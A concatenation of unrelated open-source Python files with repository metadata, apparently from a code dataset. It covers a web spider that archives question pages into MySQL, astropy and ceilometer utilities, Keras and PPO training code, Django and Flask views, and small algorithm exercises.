logging.info('[question]: {}, {}'.format(info['key'], hkey))
save_html(hkey, qs, ninfo['aft_subj_id'], ninfo)
if not has_qs:
no_new_question += 1
else:
no_new_question = 0
page_num += 1
logging.info('[page done]')
def make_page_item(info):
url = 'http://www.dz101.com/zujuan/zhishidian/Problems'
item = Item(dict(
method = 'GET',
url = url + '?' + PARAM.format(**info),
max_retry = 2,
timeout = 120,
))
return item
def check_pg(html_string):
return 'class="Problems_item"' in html_string
def get_mysql_connection():
global mysql
global mysql_conn
try:
if mysql_conn.ping() is False:
mysql_conn = mysql.connection()
return mysql_conn
except Exception:
mysql_conn = mysql.connection()
return mysql_conn
def save_html(url, html_string, subj_id, info, flag=0):
mysql_conn = get_mysql_connection()
info = json.dumps(info, ensure_ascii=False)
sql, vals = html_archive.insert_sql(
'dz101_spider_html_archive_table',
dict(
key = url,
html = html_string,
md5 = md5_string(html_string),
subject = subj_id,
source = 56,
flag=flag,
info = info,
), ignore=True
)
execute(mysql_conn, sql, values=vals)
def is_archived(url):
mysql_conn = get_mysql_connection()
cmd = 'select html_id from dz101_spider_html_archive_table where `key` = %s and flag = 0'
result = execute(mysql_conn, cmd, values=(url,))
if result:
return True
else:
return False
# cmd = 'select question_id from question_pre.question where spider_url = %s and flag = 0'
# result = execute(mysql_conn, cmd, values=(url,))
# if result:
# result = True
# else:
# result = False
if __name__ == '__main__':
loop = Dz101QuestionMiniSpider()
loop.start()
| [
"yanfeng.li@lejent.com"
] | yanfeng.li@lejent.com |
50635945d92a8a30c541386a94cb0d6921c5d146 | 933cf8cc4cff1083f9e2d24528c97a94758bc8e0 | /astropy/wcs/wcsapi/utils.py | 53379b993dc646aa57a45e54f4c0a676d7dfff9e | [
"BSD-3-Clause"
] | permissive | eteq/astropy | e728384624d0c5d497bc5561f303f2a1bc4582ff | 6a4f41e22bd8bc6a0031415c771aa8f9d744e34e | refs/heads/staging | 2023-09-01T08:51:08.804445 | 2021-12-07T00:51:15 | 2021-12-07T00:51:15 | 2,103,466 | 1 | 1 | BSD-3-Clause | 2018-12-20T19:56:55 | 2011-07-25T21:02:57 | Python | UTF-8 | Python | false | false | 677 | py | import importlib
def deserialize_class(tpl, construct=True):
"""
Deserialize classes recursively.
"""
if not isinstance(tpl, tuple) or len(tpl) != 3:
raise ValueError("Expected a tuple of three values")
module, klass = tpl[0].rsplit('.', 1)
module = importlib.import_module(module)
klass = getattr(module, klass)
args = tuple([deserialize_class(arg) if isinstance(arg, tuple) else arg for arg in tpl[1]])
kwargs = dict((key, deserialize_class(val)) if isinstance(val, tuple) else (key, val) for (key, val) in tpl[2].items())
if construct:
return klass(*args, **kwargs)
else:
return klass, args, kwargs
| [
"thomas.robitaille@gmail.com"
] | thomas.robitaille@gmail.com |
3c6e5cf00966edb4796301a929fbbc97791f5cd9 | 4d387b596167e6636341bae268b2e582b22d5ff8 | /scripts/Meta/Copy_Files.py | 86fb8385b7b207de12f8ea0d64c6141be3e8cd91 | [] | no_license | tanmayshankar/Visualize_Primitives | f3357b1da95759567bf3abf4bf592cfddef5211e | 58f346208cc89265219295ecd5b617e1b8c9dd97 | refs/heads/master | 2021-01-19T13:52:57.156669 | 2017-03-26T23:01:58 | 2017-03-26T23:01:58 | 82,424,203 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 646 | py | #!/usr/bin/env python
import os
import subprocess
import sys
import shutil
import time
import signal
import numpy as npy
# FRCNN_DIR = "/home/tanmay/Code/py-faster-rcnn/tools"
# CPM_DIR = "/home/tanmay/Code/Realtime_Multi-Person_Pose_Estimation/testing/python"
# INTERP_DIR = "/home/tanmay/Code/Meta_Scripts"
IMG_DIR = "/home/tanmay/Code/Grid_Demo/Grid_Demo/"
LOC_DIR = "/home/tanmay/catkin_ws/src/Visualize_Primitives/Data/K2_Demos/Grid_Demo"
command = "scp tanmay@128.2.194.56:~/Code/Grid_Demo/Grid_Demo/D{0}/Interpolated_Depth_*.png D{0}/"
for i in range(1,11):
p = subprocess.Popen(command.format(i),shell=True)
p.wait()
time.sleep(2)
| [
"tanmay.shankar@gmail.com"
] | tanmay.shankar@gmail.com |
38d791179d75775bfc94f3b94fcadf5825a1ce61 | 642b7138da231474154a83c2dc3b4a2a42eb441b | /dp/subset_sum_divisible_by_num.py | e26d12eb1e480aa628c9042d7900f4e49be48bc5 | [] | no_license | somanshu/python-pr | 15465ed7182413591c709f9978420f6a16c9db91 | 7bfee6fc2a8340ba3e343f991a1da5bdb4ae9cb2 | refs/heads/master | 2020-07-02T17:21:37.132495 | 2019-08-22T08:04:11 | 2019-08-22T08:04:11 | 201,602,731 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 494 | py | # Given a set of non-negative distinct integers, and a value m, determine if
# there is a subset of the given set with sum divisible by m.
def get_subset(s, index, m, currentSum):
if currentSum > 0 and currentSum % m == 0:
return True
if index < 0:
return False
return get_subset(s, index - 1, m, currentSum) or get_subset(s, index - 1, m, currentSum + s[index])
s = [3, 1, 7, 5]
# s = [1, 6]
m = 6
# m = 5
index = len(s) - 1
print(get_subset(s, index, m, 0))
| [
"somanshu@logos.social"
] | somanshu@logos.social |
d3217f0ee0a2b85006978be11d3a0ae29fb0ac17 | 84a1f9d626828b6ecaee4ef037081f4d8750a990 | /编程/程序/十进制转二进制.py | 06d8e39924ca9cd5220c784d369d7cdda9e95e6b | [] | no_license | dujiaojingyu/Personal-programming-exercises | 5a8f001efa038a0cb3b6d0aa10e06ad2f933fe04 | 72a432c22b52cae3749e2c18cc4244bd5e831f64 | refs/heads/master | 2020-03-25T17:36:40.734446 | 2018-10-01T01:47:36 | 2018-10-01T01:47:36 | 143,986,099 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 236 | py | def Dec2Bin(dec):
temp = []
result = ''#字符串
while dec:
quo = dec % 2
dec = dec // 2
temp.append(quo)
while temp:
result += str(temp.pop())
return result
print(Dec2Bin(62))
| [
"34296128+dujiaojingyu@users.noreply.github.com"
] | 34296128+dujiaojingyu@users.noreply.github.com |
dc4917189b065071bb39984413668e2ac2c859f5 | 793913495349a2a53565c9238915ff928995b555 | /django-easyvisa/english_page/views.py | a3028e1c80e00cc3317da7ef9721274453469c6d | [] | no_license | Naumov1889/django_easyvisa | 48ff9f56569e5950dbb700159c2a4b7515d87413 | 8c81f9e37ef4c6f44ad1f5aef3d00c136ef7bc40 | refs/heads/master | 2023-04-09T07:26:38.432411 | 2021-04-03T09:16:43 | 2021-04-03T09:16:43 | 277,068,342 | 0 | 0 | null | 2021-04-03T09:16:44 | 2020-07-04T08:15:02 | JavaScript | UTF-8 | Python | false | false | 235 | py | from django.shortcuts import render
from english_page.models import EnglishPrice
def english_page(request):
prices = EnglishPrice.objects.all().first()
return render(request, 'english_page/english.html', {'prices': prices})
| [
"144112passgitword"
] | 144112passgitword |
35e0daa8466311b20ce6fa92c764d84d2f973a23 | 8acffb8c4ddca5bfef910e58d3faa0e4de83fce8 | /ml-flask/Lib/site-packages/networkx/generators/tests/test_duplication.py | 6f0c7bba2b4170d7128591683cf7b26ad6244ece | [
"MIT"
] | permissive | YaminiHP/SimilitudeApp | 8cbde52caec3c19d5fa73508fc005f38f79b8418 | 005c59894d8788c97be16ec420c0a43aaec99b80 | refs/heads/master | 2023-06-27T00:03:00.404080 | 2021-07-25T17:51:27 | 2021-07-25T17:51:27 | 389,390,951 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 129 | py | version https://git-lfs.github.com/spec/v1
oid sha256:99d43639bea0ce795ffc6fcf063a2bc982ee6f2e94b736c4b58c242837a71094
size 1945
| [
"yamprakash130@gmail.com"
] | yamprakash130@gmail.com |
9406c2bdaf5dddc7a4148100cbd8ef8babd66090 | 3ee1bb0d0acfa5c412b37365a4564f0df1c093fb | /keras/keras36_hist5_diabets.py | 4fabc80b4372746cb9370aec93a29547b2966c07 | [] | no_license | moileehyeji/Study | 3a20bf0d74e1faec7a2a5981c1c7e7861c08c073 | 188843c6415a4c546fdf6648400d072359d1a22b | refs/heads/main | 2023-04-18T02:30:15.810749 | 2021-05-04T08:43:53 | 2021-05-04T08:43:53 | 324,901,835 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,406 | py | # hist를 이용하여 그래프를 그리시오
# loss, val_loss
import numpy as np
#1. 데이터
from sklearn.datasets import load_diabetes
dataset =load_diabetes()
x = dataset.data
y = dataset.target
print(x.shape)
print(y.shape)
from sklearn.model_selection import train_test_split
x_train, x_test, y_train, y_test = train_test_split(x, y, train_size = 0.8, shuffle = True, random_state = 66)
x_train, x_val, y_train, y_val = train_test_split(x_train, y_train, train_size = 0.5, shuffle = False, random_state = 30)
#데이터 전처리3
from sklearn.preprocessing import MinMaxScaler
scaler = MinMaxScaler()
scaler.fit(x_train)
x_train = scaler.transform(x_train)
x_test = scaler.transform(x_test)
x_val = scaler.transform(x_val)
#2.모델구성
from tensorflow.keras.models import Sequential, Model
from tensorflow.keras.layers import Dense, Input
input1 = Input(shape=(10,))
dense = Dense(50, activation='linear')(input1)
dense = Dense(90, activation='linear')(dense)
# dense = Dense(100, activation='linear')(dense)
# dense = Dense(100, activation='linear')(dense)
# dense = Dense(100, activation='linear')(dense)
dense = Dense(80, activation='linear')(dense)
dense = Dense(80, activation='linear')(dense)
dense = Dense(80, activation='linear')(dense)
dense = Dense(20, activation='linear')(dense)
output = Dense(1)(dense)
model = Model(inputs=input1, outputs=output)
#3. 컴파일, 훈련
from tensorflow.keras.callbacks import EarlyStopping
early_stopping = EarlyStopping(monitor='loss', patience=20, mode='auto')
model.compile(loss='mse', optimizer='adam', metrics=['mae'])
hist = model.fit(x_train, y_train, epochs=2000, batch_size=50, validation_data = (x_val, y_val), callbacks=[early_stopping])
# 그래프
import matplotlib.pyplot as plt
plt.plot(hist.history['loss'])
plt.plot(hist.history['val_loss'])
plt.title('loss')
plt.ylabel('epochs')
plt.xlabel('loss')
plt.legend(['loss', 'val loss'])
plt.show()
# #4. 평가, 예측
# loss, mae = model.evaluate(x_test, y_test, batch_size=10)
# print('loss, mae : ', loss, mae)
# y_predict = model.predict(x_test)
# from sklearn.metrics import mean_squared_error, r2_score
# def RMSE (y_test, y_predict):
# return(np.sqrt(mean_squared_error(y_test, y_predict)))
# print('RMSE : ', RMSE(y_test, y_predict))
# print('R2 : ', r2_score(y_test, y_predict)) | [
"noreply@github.com"
] | moileehyeji.noreply@github.com |
9757613bcff8082143262d20e2291b9e7dc4f47c | 3b3585bb12becfe72af03814cec645b0c8e6c779 | /satchmo/fulfilment/modules/six/config.py | 5843693df8d189a95a02372e005d2daf69ad4a29 | [
"BSD-2-Clause"
] | permissive | juderino/jelly-roll | aac548073487511c5b935d9fb20c5a995c665b9b | ccac91bf3aab06fec4f83a7f9eabfa22d41b922a | refs/heads/master | 2021-01-18T21:04:15.232998 | 2015-07-21T20:35:26 | 2015-07-21T20:35:26 | 36,597,803 | 0 | 0 | null | 2015-05-31T10:16:21 | 2015-05-31T10:16:21 | null | UTF-8 | Python | false | false | 1,680 | py | from django.utils.translation import ugettext_lazy as _
from satchmo.configuration import (
ConfigurationGroup,
config_register_list,
StringValue,
BooleanValue,
)
from satchmo.fulfilment.config import ACTIVE_FULILMENT_HOUSE
import logging
log = logging.getLogger(__name__)
ACTIVE_FULILMENT_HOUSE.add_choice(('satchmo.fulfilment.modules.six', _('Six')))
FULILMENT_HOUSE = ConfigurationGroup(
'satchmo.fulfilment.modules.six',
_('Six Fulfilment Settings'),
requires=ACTIVE_FULILMENT_HOUSE,
ordering=101
)
config_register_list(
StringValue(
FULILMENT_HOUSE,
'API_KEY',
description=_("API Key"),
help_text=_("Client's API key, provided by fulfiller."),
default=u""
),
BooleanValue(
FULILMENT_HOUSE,
'TEST_MODE',
description=_("Test mode"),
help_text=_("Test identifier, must equal false for order to be processed."),
default=True
),
StringValue(
FULILMENT_HOUSE,
'URL',
description=_("API URL"),
help_text=_("URL of fulfillers API."),
default=u"https://[client].sixworks.co.uk/api/1/"
),
BooleanValue(
FULILMENT_HOUSE,
'UPDATE_STOCK',
description=_("Update Stock"),
help_text=_("Update stock based on the fulfilment houses stock levels."),
default=True
),
BooleanValue(
FULILMENT_HOUSE,
'ALLOW_PREORDER',
description=_("Allow Preorder"),
help_text=_("If true, permits acceptance of orders which contain lines currently out of stock. Disables Out-Of-Stock feedback in API response."),
default=False
),
)
| [
"tony@ynottony.net"
] | tony@ynottony.net |
11bcf91fc23f175de6c1f7766a58c9558e8198ab | 29f6b4804f06b8aabccd56fd122b54e4d556c59a | /CodeAnalysis/SourceMeter_Interface/SourceMeter-8.2.0-x64-linux/Python/Demo/ceilometer/ceilometer/tests/storage/test_impl_log.py | a12a4c4a5e8878baa8e02622ebde5d5722f131db | [
"Apache-2.0"
] | permissive | obahy/Susereum | 6ef6ae331c7c8f91d64177db97e0c344f62783fa | 56e20c1777e0c938ac42bd8056f84af9e0b76e46 | refs/heads/master | 2020-03-27T11:52:28.424277 | 2018-12-12T02:53:47 | 2018-12-12T02:53:47 | 146,511,286 | 3 | 2 | Apache-2.0 | 2018-12-05T01:34:17 | 2018-08-28T21:57:59 | HTML | UTF-8 | Python | false | false | 1,134 | py | #
# Copyright 2012 New Dream Network, LLC (DreamHost)
#
# Author: Doug Hellmann <doug.hellmann@dreamhost.com>
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""Tests for ceilometer/storage/impl_log.py
"""
from oslotest import base
from ceilometer.storage import impl_log
class ConnectionTest(base.BaseTestCase):
def test_get_connection(self):
conn = impl_log.Connection(None)
conn.record_metering_data({'counter_name': 'test',
'resource_id': __name__,
'counter_volume': 1,
})
| [
"abelgomezr45@gmail.com"
] | abelgomezr45@gmail.com |
0088554cddbce79223fbc75f4ed10baaafd29148 | 50de76eb887892c2085e1aa898987962a5d75380 | /_8_TensorFlowBasics/Kaggle/MNIST_example/MyVersion.py | 303758586192ffed1c2223ce19a995b6a0619cd1 | [] | no_license | cyrsis/TensorflowPY36CPU | cac423252e0da98038388cf95a3f0b4e62d1a888 | 6ada50adf63078ba28464c59808234bca3fcc9b7 | refs/heads/master | 2023-06-26T06:57:00.836225 | 2021-01-30T04:37:35 | 2021-01-30T04:37:35 | 114,089,170 | 5 | 2 | null | 2023-05-25T17:08:43 | 2017-12-13T07:33:57 | Jupyter Notebook | UTF-8 | Python | false | false | 3,555 | py | import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
import seaborn as sns
np.random.seed(2)
from sklearn.model_selection import train_test_split
from sklearn.metrics import confusion_matrix
import itertools
from keras.utils.np_utils import to_categorical # convert to one-hot-encoding
from keras.models import Sequential
from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPool2D
from keras.optimizers import Adam , RMSprop
from keras.preprocessing.image import ImageDataGenerator
from keras.callbacks import ReduceLROnPlateau
train_data = pd.read_csv("train.csv")
test = pd.read_csv("test.csv")
X_train = train_data.drop("label", axis=1)
Y_train = train_data["label"]
X_train.isnull().any().describe()
test.isnull().any().describe()
# normalize the data
X_train = X_train / 255.0
test = test / 255.0
X_train = X_train.values.reshape(-1, 28, 28, 1)
test = test.values.reshape(-1, 28, 28, 1)
# one_hot on y
Y_train = to_categorical(Y_train, num_classes=10)
# Splite the data into 2
random_seed = 2
X_train, X_value, Y_train, Y_value = train_test_split(X_train, Y_train, test_size=0.2, random_state=random_seed)
g = plt.imshow(X_train[0][:, :, 0])
# Layer 1 = 2Conv 1 Max 1 Dropout
model = Sequential()
model.add(Conv2D(filters=32, kernel_size=(5, 5), padding='same', activation='relu', input_shape=(28, 28, 1)))
model.add(Conv2D(filters=32, kernel_size=(5, 5), padding='same', activation='relu'))
model.add(MaxPool2D(pool_size=(2, 2)))
model.add(Dropout(0.25))
# layer 2 = 2Conv 1 Max 1 Dropout
model.add(Conv2D(filters=64, kernel_size=(3, 3), padding='same', activation='relu'))
model.add(Conv2D(filters=64, kernel_size=(3, 3), padding='same', activation='relu'))
model.add(MaxPool2D(pool_size=(2, 2), strides=(2, 2)))
model.add(Dropout(0.25))
model.add(Flatten())
model.add(Dense(256, activation='relu'))
model.add(Dropout(0.5))
model.add(Dense(10, activation="softmax"))
model.summary()
optimizer = Adam(lr=0.001)
model.compile(optimizer=optimizer, loss="categorical_crossentropy", metrics=["accuracy"])
epochs = 8000
batch_size = 100
datagen = ImageDataGenerator(
featurewise_center=False, # set input mean to 0 over the dataset
samplewise_center=False, # set each sample mean to 0
featurewise_std_normalization=False, # divide inputs by std of the dataset
samplewise_std_normalization=False, # divide each input by its std
zca_whitening=False, # apply ZCA whitening
rotation_range=10, # randomly rotate images in the range (degrees, 0 to 180)
zoom_range=0.1, # Randomly zoom image
width_shift_range=0.1, # randomly shift images horizontally (fraction of total width)
height_shift_range=0.1, # randomly shift images vertically (fraction of total height)
horizontal_flip=False, # randomly flip images
vertical_flip=False) # randomly flip images
datagen.fit(X_train)
learning_rate_reduction = ReduceLROnPlateau(monitor='val_acc',
patience=3,
verbose=1,
factor=0.5,
min_lr=0.00001)
history = model.fit_generator(datagen.flow(X_train, Y_train, batch_size=batch_size),
epochs=epochs, validation_data=(X_value, Y_value),
verbose=2, steps_per_epoch=X_train.shape[0] // batch_size
, callbacks=[learning_rate_reduction])
model.save('kaggleMnist.h5') | [
"em3888@gmail.com"
] | em3888@gmail.com |
631df51128d1ead7ea74a4165ad84d1ae6ba2c21 | 113b962bd5e2eb770067bd374a15dfe8a1c2d09f | /py_scripts/ALC_Classify_mem.py | ac329f05c8175852db002aa7f765e64b208a2500 | [] | no_license | aungthurhahein/biotech_script | ecce51950bcef69405843da12ece2f84ea5541d6 | 2fda699343e6c46543fa1df2412c8ca2f2622cda | refs/heads/master | 2020-12-24T06:20:13.028141 | 2016-07-06T15:23:34 | 2016-07-06T15:23:34 | 25,574,741 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,280 | py | #! /usr/bin/env/ python
"""
#
# usage:
# output:
# Dev: __author__ = 'aung'
# Date:
"""
import sys
A_id = sys.argv[1] # A
L_id = sys.argv[2] # L
C_id = sys.argv[3] # C
Cu_id = sys.argv[4] # C Unmap
cluster_file = sys.argv[5] # cluster parsed file
open_Aid = open(A_id, 'r')
open_Lid = open(L_id, 'r')
open_Cid = open(C_id, 'r')
open_Cuid = open(Cu_id, 'r')
open_cluster = open(cluster_file, 'r')
A_id_list = []
L_id_list = []
C_id_list = []
Cu_id_list = []
clst_list = []
for id1 in open_Aid:
A_id_list.append(id1.strip())
for id2 in open_Lid:
L_id_list.append(id2.strip())
for id3 in open_Cid:
C_id_list.append(id3.strip())
for id4 in open_Cuid:
Cu_id_list.append(id4.strip())
for cluster in open_cluster:
clst_list.append(cluster.strip())
for x in clst_list:
x_split = x.split('\t')
A_count = 0
L_count = 0
C_count = 0
Cu_count = 0
for mem in x_split[1:]:
if mem.strip() in A_id_list:
A_count += 1
elif mem.strip() in L_id_list:
L_count += 1
elif mem.strip() in C_id_list:
C_count += 1
elif mem.strip() in Cu_id_list:
Cu_count += 1
print x_split[0] + '\t' + str(A_count) +'\t' + str(L_count) +'\t' + str(C_count) +'\t' + str(Cu_count)
| [
"aungthurhahein@gmail.com"
] | aungthurhahein@gmail.com |
068c7cd5bd637d350ce9bd048c76e37c66724ddc | 84617010027b08e65412b0e187bc0612a59cfbc7 | /nomenklatura/views/sessions.py | 52b22af40c4de8eb7066b51ea550ebcf98409300 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | gabelula/nomenklatura | 16d52def8bb1c0dbc5a6aa386336366de31ffd79 | eae335a44ef6bb08728083d4d10386f3a9e16def | refs/heads/master | 2020-12-02T15:07:10.350344 | 2013-12-02T11:35:02 | 2013-12-02T11:35:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,968 | py | import requests
from flask import url_for, session, Blueprint, redirect
from flask import request
from flask.ext.utils.serialization import jsonify
from nomenklatura import authz
from nomenklatura.core import db, github
from nomenklatura.model import Account, Dataset
section = Blueprint('sessions', __name__)
@section.route('/sessions')
def status():
return jsonify({
'logged_in': authz.logged_in(),
'api_key': request.account.api_key if authz.logged_in() else None,
'account': request.account
})
@section.route('/sessions/authz')
def get_authz():
permissions = {}
dataset_name = request.args.get('dataset')
if dataset_name is not None:
dataset = Dataset.find(dataset_name)
permissions[dataset_name] = {
'view': True,
'edit': authz.dataset_edit(dataset),
'manage': authz.dataset_manage(dataset)
}
return jsonify(permissions)
@section.route('/sessions/login')
def login():
callback=url_for('sessions.authorized', _external=True)
return github.authorize(callback=callback)
@section.route('/sessions/logout')
def logout():
authz.require(authz.logged_in())
session.clear()
#flash("You've been logged out.", "success")
return redirect(url_for('index'))
@section.route('/sessions/callback')
@github.authorized_handler
def authorized(resp):
if not 'access_token' in resp:
return redirect(url_for('index'))
access_token = resp['access_token']
session['access_token'] = access_token, ''
res = requests.get('https://api.github.com/user?access_token=%s' % access_token,
verify=False)
data = res.json()
for k, v in data.items():
session[k] = v
account = Account.by_github_id(data.get('id'))
if account is None:
account = Account.create(data)
db.session.commit()
#flash("Welcome back, %s." % account.login, "success")
return redirect(url_for('index'))
| [
"friedrich@pudo.org"
] | friedrich@pudo.org |
2208cbadde363d62f16946fc23a172732d054aa5 | b54eb04ec2de1dec11a7143c6b5049a1d031ddaf | /test/baselines/ppo1/pposgd_simple.py | 8f4c641bc5bc34fd88a1303b2e9a5e4e895fff54 | [] | no_license | Jerryxiaoyu/CR_CPG_RL | 78c4c6e7539f08465b1f55125e04f982b1323bf2 | 69213cc48440ea66c42fbe3ace35163174686321 | refs/heads/master | 2020-03-28T12:11:51.491796 | 2018-09-14T04:32:33 | 2018-09-14T04:32:33 | 148,277,281 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,514 | py | from test.baselines.common import Dataset, explained_variance, fmt_row, zipsame
from test.baselines import logger
import test.baselines.common.tf_util as U
import tensorflow as tf, numpy as np
import time
from test.baselines.common.mpi_adam import MpiAdam
from test.baselines.common.mpi_moments import mpi_moments
from mpi4py import MPI
from collections import deque
def traj_segment_generator(pi, env, horizon, stochastic):
t = 0
ac = env.action_space.sample() # not used, just so we have the datatype
new = True # marks if we're on first timestep of an episode
ob = env.reset()
cur_ep_ret = 0 # return in current episode
cur_ep_len = 0 # len of current episode
ep_rets = [] # returns of completed episodes in this segment
ep_lens = [] # lengths of ...
# Initialize history arrays
obs = np.array([ob for _ in range(horizon)])
rews = np.zeros(horizon, 'float32')
vpreds = np.zeros(horizon, 'float32')
news = np.zeros(horizon, 'int32')
acs = np.array([ac for _ in range(horizon)])
prevacs = acs.copy()
while True:
prevac = ac
ac, vpred = pi.act(stochastic, ob)
# Slight weirdness here because we need value function at time T
# before returning segment [0, T-1] so we get the correct
# terminal value
if t > 0 and t % horizon == 0:
yield {"ob" : obs, "rew" : rews, "vpred" : vpreds, "new" : news,
"ac" : acs, "prevac" : prevacs, "nextvpred": vpred * (1 - new),
"ep_rets" : ep_rets, "ep_lens" : ep_lens}
# Be careful!!! if you change the downstream algorithm to aggregate
# several of these batches, then be sure to do a deepcopy
ep_rets = []
ep_lens = []
i = t % horizon
obs[i] = ob
vpreds[i] = vpred
news[i] = new
acs[i] = ac
prevacs[i] = prevac
ob, rew, new, _ = env.step(ac)
rews[i] = rew
cur_ep_ret += rew
cur_ep_len += 1
if new:
ep_rets.append(cur_ep_ret)
ep_lens.append(cur_ep_len)
cur_ep_ret = 0
cur_ep_len = 0
ob = env.reset()
t += 1
def add_vtarg_and_adv(seg, gamma, lam):
"""
Compute target value using TD(lambda) estimator, and advantage with GAE(lambda)
"""
new = np.append(seg["new"], 0) # last element is only used for last vtarg, but we already zeroed it if last new = 1
vpred = np.append(seg["vpred"], seg["nextvpred"])
T = len(seg["rew"])
seg["adv"] = gaelam = np.empty(T, 'float32')
rew = seg["rew"]
lastgaelam = 0
for t in reversed(range(T)):
nonterminal = 1-new[t+1]
delta = rew[t] + gamma * vpred[t+1] * nonterminal - vpred[t]
gaelam[t] = lastgaelam = delta + gamma * lam * nonterminal * lastgaelam
seg["tdlamret"] = seg["adv"] + seg["vpred"]
def learn(env, policy_fn, *,
timesteps_per_actorbatch, # timesteps per actor per update
clip_param, entcoeff, # clipping parameter epsilon, entropy coeff
optim_epochs, optim_stepsize, optim_batchsize,# optimization hypers
gamma, lam, # advantage estimation
max_timesteps=0, max_episodes=0, max_iters=0, max_seconds=0, # time constraint
callback=None, # you can do anything in the callback, since it takes locals(), globals()
adam_epsilon=1e-5,
schedule='constant' # annealing for stepsize parameters (epsilon and adam)
):
# Setup losses and stuff
# ----------------------------------------
ob_space = env.observation_space
ac_space = env.action_space
pi = policy_fn("pi", ob_space, ac_space) # Construct network for new policy
oldpi = policy_fn("oldpi", ob_space, ac_space) # Network for old policy
atarg = tf.placeholder(dtype=tf.float32, shape=[None]) # Target advantage function (if applicable)
ret = tf.placeholder(dtype=tf.float32, shape=[None]) # Empirical return
lrmult = tf.placeholder(name='lrmult', dtype=tf.float32, shape=[]) # learning rate multiplier, updated with schedule
clip_param = clip_param * lrmult # Annealed cliping parameter epislon
ob = U.get_placeholder_cached(name="ob")
ac = pi.pdtype.sample_placeholder([None])
kloldnew = oldpi.pd.kl(pi.pd)
ent = pi.pd.entropy()
meankl = tf.reduce_mean(kloldnew)
meanent = tf.reduce_mean(ent)
pol_entpen = (-entcoeff) * meanent
ratio = tf.exp(pi.pd.logp(ac) - oldpi.pd.logp(ac)) # pnew / pold
surr1 = ratio * atarg # surrogate from conservative policy iteration
surr2 = tf.clip_by_value(ratio, 1.0 - clip_param, 1.0 + clip_param) * atarg #
pol_surr = - tf.reduce_mean(tf.minimum(surr1, surr2)) # PPO's pessimistic surrogate (L^CLIP)
vf_loss = tf.reduce_mean(tf.square(pi.vpred - ret))
total_loss = pol_surr + pol_entpen + vf_loss
losses = [pol_surr, pol_entpen, vf_loss, meankl, meanent]
loss_names = ["pol_surr", "pol_entpen", "vf_loss", "kl", "ent"]
var_list = pi.get_trainable_variables()
lossandgrad = U.function([ob, ac, atarg, ret, lrmult], losses + [U.flatgrad(total_loss, var_list)])
adam = MpiAdam(var_list, epsilon=adam_epsilon)
assign_old_eq_new = U.function([],[], updates=[tf.assign(oldv, newv)
for (oldv, newv) in zipsame(oldpi.get_variables(), pi.get_variables())])
compute_losses = U.function([ob, ac, atarg, ret, lrmult], losses)
U.initialize()
adam.sync()
# Prepare for rollouts
# ----------------------------------------
seg_gen = traj_segment_generator(pi, env, timesteps_per_actorbatch, stochastic=True)
episodes_so_far = 0
timesteps_so_far = 0
iters_so_far = 0
tstart = time.time()
lenbuffer = deque(maxlen=100) # rolling buffer for episode lengths
rewbuffer = deque(maxlen=100) # rolling buffer for episode rewards
assert sum([max_iters>0, max_timesteps>0, max_episodes>0, max_seconds>0])==1, "Only one time constraint permitted"
while True:
if callback: callback(locals(), globals())
if max_timesteps and timesteps_so_far >= max_timesteps:
break
elif max_episodes and episodes_so_far >= max_episodes:
break
elif max_iters and iters_so_far >= max_iters:
break
elif max_seconds and time.time() - tstart >= max_seconds:
break
if schedule == 'constant':
cur_lrmult = 1.0
elif schedule == 'linear':
cur_lrmult = max(1.0 - float(timesteps_so_far) / max_timesteps, 0)
else:
raise NotImplementedError
logger.log("********** Iteration %i ************"%iters_so_far)
seg = seg_gen.__next__()
add_vtarg_and_adv(seg, gamma, lam)
# ob, ac, atarg, ret, td1ret = map(np.concatenate, (obs, acs, atargs, rets, td1rets))
ob, ac, atarg, tdlamret = seg["ob"], seg["ac"], seg["adv"], seg["tdlamret"]
vpredbefore = seg["vpred"] # predicted value function before udpate
atarg = (atarg - atarg.mean()) / atarg.std() # standardized advantage function estimate
d = Dataset(dict(ob=ob, ac=ac, atarg=atarg, vtarg=tdlamret), shuffle=not pi.recurrent)
optim_batchsize = optim_batchsize or ob.shape[0]
if hasattr(pi, "ob_rms"): pi.ob_rms.update(ob) # update running mean/std for policy
assign_old_eq_new() # set old parameter values to new parameter values
logger.log("Optimizing...")
logger.log(fmt_row(13, loss_names))
# Here we do a bunch of optimization epochs over the data
for _ in range(optim_epochs):
losses = [] # list of tuples, each of which gives the loss for a minibatch
for batch in d.iterate_once(optim_batchsize):
*newlosses, g = lossandgrad(batch["ob"], batch["ac"], batch["atarg"], batch["vtarg"], cur_lrmult)
adam.update(g, optim_stepsize * cur_lrmult)
losses.append(newlosses)
logger.log(fmt_row(13, np.mean(losses, axis=0)))
logger.log("Evaluating losses...")
losses = []
for batch in d.iterate_once(optim_batchsize):
newlosses = compute_losses(batch["ob"], batch["ac"], batch["atarg"], batch["vtarg"], cur_lrmult)
losses.append(newlosses)
meanlosses,_,_ = mpi_moments(losses, axis=0)
logger.log(fmt_row(13, meanlosses))
for (lossval, name) in zipsame(meanlosses, loss_names):
logger.record_tabular("loss_"+name, lossval)
logger.record_tabular("ev_tdlam_before", explained_variance(vpredbefore, tdlamret))
lrlocal = (seg["ep_lens"], seg["ep_rets"]) # local values
listoflrpairs = MPI.COMM_WORLD.allgather(lrlocal) # list of tuples
lens, rews = map(flatten_lists, zip(*listoflrpairs))
lenbuffer.extend(lens)
rewbuffer.extend(rews)
logger.record_tabular("EpLenMean", np.mean(lenbuffer))
logger.record_tabular("EpRewMean", np.mean(rewbuffer))
logger.record_tabular("EpThisIter", len(lens))
episodes_so_far += len(lens)
timesteps_so_far += sum(lens)
iters_so_far += 1
